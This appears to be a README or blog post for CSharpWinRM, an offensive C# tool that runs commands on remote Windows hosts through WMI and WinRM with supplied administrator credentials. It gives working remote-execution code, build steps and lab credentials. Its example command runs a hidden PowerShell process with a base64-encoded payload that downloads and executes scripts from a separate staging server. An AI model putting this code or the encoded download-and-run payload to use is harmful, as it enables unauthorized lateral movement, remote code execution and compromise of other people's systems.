CsharpWinRM
is a .NET 4.0 implementation of WinRM using the WinRM C++ API. This project takes in credentials and a command, then executes it on the remote host using Win32_Process
.
After looking into how the Win32_Process
method in WMI is used to execute remote commands, I threw this together:
public static void Main()
{
String command = "powershell.exe -nop -w hidden -e <snip>";
String Target = "10.10.11.115";
ConnectionOptions options = new ConnectionOptions();
options.Username = "water.tribe\\Administrator";
options.Password = "Password123!";
String Scope = String.Format("\\\\{0}\\root\\cimv2", Target);
Console.WriteLine("Scope:" + Scope);
ManagementScope managementScope = new ManagementScope(Scope,options);
managementScope.Connect();
ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("Win32_Process"),new ObjectGetOptions());
object[] process = { command };
object result = managementClass.InvokeMethod("Create", process);
Console.WriteLine(result);
}
Which is cool. So, I moved onto looking at how WinRM
can be used in C#. Browsing through StackOverflow, people were typically doing this with PowerShell Runspaces. Except for one mad-lad who was using the WinAPI. I then rabbit-holed for an evening on this, which produces this project.
The DLL in use here is the wsmauto.dll. Referencing this DLL allows access to a bunch of WSMan methods.
All the heavy lifting is done by the IWSManSession interface, this gave access to two important methods:
The Identify()
method is used to determine if the remote host is going to allow access, its used like so:
xmlIdentifyResponse.LoadXml(wsmanSession.Identify());
Where xmlIdentifyResponse
is just an XmlDocument
. If its possible, an XML response is returned:
<wsmid:IdentifyResponse xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xml:lang="">
<wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion>
<wsmid:ProductVendor>Microsoft Corporation</wsmid:ProductVendor>
<wsmid:ProductVersion>OS: 6.3.9600 SP: 0.0 Stack: 3.0</wsmid:ProductVersion>
<wsmid:SecurityProfiles>
<wsmid:SecurityProfileName>http://schemas.dmtf.org/wbem/wsman/1/wsman/secprofile/http/spnego-kerberos</wsmid:SecurityProfileName>
</wsmid:SecurityProfiles>
</wsmid:IdentifyResponse>
With that, most of the mind-melting was done by trying to determine the actionUri
, and the resourceUri
as seen in the IWSManSession::Invoke
documentation. Until starting this project, I did not know that WinRM uses WMI under-the-hood, so I was soon able to link up WIn32_Process
to create the process as seen in the WMI example at the start.
The following PowerShell command sheds some light on the resourceUri:
winrm help uris
This became:
string resourceURI = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";
Finally, the actual payload. Originally, I was building the XML in one big String.Format
, this would not respect anything after a space. So I could only run cmd.exe
or something. But, thanks to this chap, I was able to get around that with a StringBuilder
:
StringBuilder parameters = new StringBuilder();
parameters.Append("<p:Create_INPUT ");
parameters.Append("xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process\">");
parameters.Append("<p:CommandLine>" + Command + "</p:CommandLine>");
parameters.Append("</p:Create_INPUT>");
This is all then put together, and invoked:
String responseFromInvoke = wsmanSession.Invoke("Create", resourceURI, parameters.ToString(), 0);
Create
being the Win32_Process
method.
I'll preface this with:
It works for me.
Example command:
.\CSharpWinRM.exe 10.10.11.115 water.tribe administrator Password123! "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABOAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAE4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABOAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAvADgAMgBkAHIAWgBoADcATAA1AEsAYQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAnACkAKQA7AA=="
On execution, if successful, it should look something like this:
If the ReturnValue
is 0, then all is well. It will also give the ProcessId
:
PS C:\Users\Administrator> Get-Process -Pid 1344
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
413 32 69676 71440 599 0.58 1344 powershell
The error codes can be seen here.
[*] Usage: .\CSharpWinRM.exe <Target> [Domain] [Username] [Password] <Command>
[*] Example 1: .\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! "powershell.exe -e blah"
[*] Example 2: .\CSharpWinRM.exe 192.168.0.1 "powershell.exe -e blah"
Once built, merge with:
.\ILMerge.exe /out:.\CSharpWinRM_merged.exe .\CSharpWinRM.exe .\Interop.WSManAutomation.dll
If, for whatever reason, the dll isnt available; its in:
CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll